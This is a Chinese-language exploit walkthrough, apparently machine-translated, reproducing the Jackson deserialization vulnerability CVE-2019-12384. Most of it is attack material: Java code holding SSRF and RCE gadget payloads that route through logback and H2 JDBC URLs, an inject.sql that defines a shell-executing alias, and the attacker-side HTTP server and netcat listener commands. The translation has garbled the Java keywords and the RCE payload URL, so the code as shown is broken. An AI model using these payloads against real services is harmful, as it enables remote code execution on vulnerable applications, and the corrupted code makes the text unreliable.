CVE-2019-12384:Jackson反序列化漏洞复现
分析
根据杰克逊开发人员提到的信息,触发此杰克逊漏洞需要满足以下要求,因此该漏洞被评为中等风险:目标应用程序接收由不信任客户发送的JSON数据
目标应用程序使用多态类型处理方法来处理Java.lang.Object类型的属性;
目标应用程序包含至少可以在Java类Path中使用的“小工具”类。在此漏洞中,有很多依赖的第三方Jar套件。除了杰克逊(Jackson)自己的罐装软件包外,还需要登录核和H2。
环境搭建
本文使用的第三方库是:杰克逊马云惹不起马云戴塔宾德2.9.8
Jackson-Annotations-2.9.8.Jar
杰克逊核2.9.8.Jar
logback-core-1.3.0-alpha4.jar
H2 1.4.199
在http://www.mvnrepository.com上下载.
漏洞代码
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
包com.baiyang;
导入com.fasterxml.jackson.databind.objectMapper;
导入com.fasterxml.jackson.databind.SerializationFeature;
导入org.h2.driver;
公共类Main {
公共静态void main(string [] args){
尝试{
class.forname('org.h2.driver')。newInstance();
} catch(异常E){
e.printstacktrace();
}
system.out.println('映射');
//此有效载荷用于SSRF复制
String SSRF='[\'ch.qos.logback.core.db.DriverManagerConnectionSource\', {\'url\':\'jdbc:h2:tcp://127.0.0.1:4444/~/hacker\'}]';
//此有效载荷用于复制RCE
字符串rce='[\'ch.qos.logback.core.db.drivermanagerconnectionsource \',{\'url \': \'jdbc:h23360h2333:mem33333: 'http://localhost/inject.sql'\'}]';
ObjectMapper mapper=new ObjectMapper();
mappper.enabledefaultTypy();
mapper.configure(serializationfeature.fail_on_empty_beans,false);
system.out.println('serialization');
对象obj=null;
尝试{
//替换SSRF或RCE以测试SSRF或RCE漏洞的有效载荷
obj=mapper.ReadValue(rce,java.lang.object.class);
} catch(异常E){
e.printstacktrace();
}
system.out.println('objectified');
尝试{
System.out.println('Stringified:' + mapper.writeValueasString(obj));
} catch(异常E){
e.printstacktrace();
}
}
}
构建步骤
本文生成了一个关于想法的项目创建一个新的Java命令行项目
用类替换上述代码
单击红色框中的图标以输入项目结构设置

请按照以下步骤将下载的外部JAR软件包导入项目文件

攻击流程
将以下SQL脚本文件保存为Inject.sql1
2
3
4
5
6
创建别名Shellexec作为$$ String Shellexec(字符串CMD)抛出Java.io.io.ioexception {
string [] command={'bash','-c',cmd};
java.util.scanner s=new Java.util.scanner(runtime.getRuntime()。exec(command).getInputStream())。
返回s.hasnext()? s.next():''; }
$$;
致电Shellexec('open /applications/calculator.app')
注意:在本文中,RCE在MacOS下执行。如果在其他环境中,请自己替换Call Shellexec中的命令。
执行本地执行Python2 -M SimpleHttpserver 80,在本地启动HTTP服务
RCE payload测试
用RCE替换Java文件中的有效载荷,编译并运行Java程序
SSRF payload测试
执行NC -L -VV 4444,以促进SSRF结果的观察用SSRF替换Java文件中的有效载荷,编译并运行Java程序

参考
正在加载...
blog.doyensec.com
正在加载...
www.anquanke.com